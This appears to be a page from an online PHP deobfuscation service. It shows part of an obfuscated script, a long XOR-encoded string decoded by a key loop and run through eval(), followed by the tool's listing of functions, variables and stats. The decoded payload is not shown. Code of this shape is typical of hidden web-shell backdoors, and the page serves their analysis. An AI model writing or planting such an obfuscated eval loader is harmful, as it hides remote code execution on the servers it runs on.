cZOOW`	|"3V3S2c2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVSm#V13_}[eB 2zX UDW&RUk][Q7RQY	bZeR3jWT	@iVSmnj7H1_v[O6 =AXUnWR U5]eQ RdQ5	Zbl35Wa	@ouVSmc40`_[[@ R6XUTW8RU@]eQ'0RQg	+Zb@_WO	@3VS38y0X_}[WR =R7X.UbWRUP]KQc1ReQB	ZZ@3IW`	|"iVSm/q10!_l[L@ n1X9UHW RUh]}QRdQ5	gZdR;TWX	POV3SHQ30"_r[e_ 90XU3WR7UN]OQ3RdQ4	cZZ@4WW	4 uV ST{X_[`_ 9nXUjWR2U@]_Q'7RQF	ZdPIWU	A }VSl4W_3[LP `3XUPWRUA][QRQR	$ZY7;jWT	A:kV5SH8y0X_}[WR =RXUrW:RUB]aQRgQV	)ZVPFWO	@>VVSmnS7Ed_F[Wj %3XUbWRUB]_Q<RQx	9ZeknWO	M&VVSDH32_l[`P ayXUPWRUl]_Q3RgQQ	fZd73jWc	4OVS0SE_o[dk F6XULWRUN]@Qc1R>QJ	!ZVi5WO	F"3V3S2c2U_S[NQ =AXUvWR7UA]~Q/ RgQR	eZMOjWM	R:kVS38v13_\[W_ 2XU3W.RU7]eQdRQ5	ZN5IWg	B.MVS22 3_Q[UR =O1XUHW.R7UA]GQ RfQZ	$ZSj#JWg	]:}VSH?40`_@[[B tX9UTW-RUN]CQ 1R:Qd	)ZY4?6WM	C3V3S2bk0U_1[e5 `D6X8U@W`R7U|]eQ<1R8QB	)ZVi?6WS	h~V3S3W1m_3[TR 2y6XeU@W`R U5]bQ 1RgQV	&ZVP6WW	:]VSV7H _1[Wj k0XULWRU5][Q 0RQd	<ZS6]Wf	hmV5SzH32_l[`P ayXUPWRUl]_Q1RdQt	?ZU_?hWa	S kVS27E_v[c@ az1XU\W8RUN]@Qc1RdQt	gZb@34Wa	2]VSV510!_1[WR 5hXUHW.R7US]_Q"0RQ5	&ZN6;GWW	]>uV6SH'S 31_s[[@ 5RXULW.R7U@]\Q%7RQ1	9ZeknWO	M&VVSj0sj!_i[ej pXUeW{RUo]nQ"RQ8	$ZMBorWV	|1lVSzQz_r[JD S X.UDWRUB]LQ8RQ8	$ZT}rWO	F!lVS0ovD_r[Jm sXUTWRU|]OQRQA	<ZJBorWV	pVSC j0m_r[LC tXUTWRU|]LQ RQA	#ZLDUWV	WVSDnEm_r[U} tXUqW#RUE]_QR.QA	$ZMCuWI	V=wVSwj<p)|_>');$c='';$d=0;$e='';for($f=0;$f<strlen($b);$f++){$d=$d==strlen($a)?0:$d;$e.=$b[$f]^$a[$d++];}for($f=0;$f<strlen($e);$f++){$g=$e[$f];$c.=$e[++$f]^$g;}eval($c);
 ?>

Function Calls

md5	1
strlen	2
base64_decode	1

Variables

$a	dec0d4535a357f9cc953c2041d950c21
$b	VsSOg1Oe_8[tu=g1X7UiW0R6U.]/QrdRQ1 vZ7Fr3W0 dAVrS6$d1`_ [4D..
$c
$d	['Variable', {'name': '$d'}]
$e
$f	0

Stats

MD5	9b188c6797043e89c3e679ea72cabbe6
Eval Count	0
Decode Time	1635 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats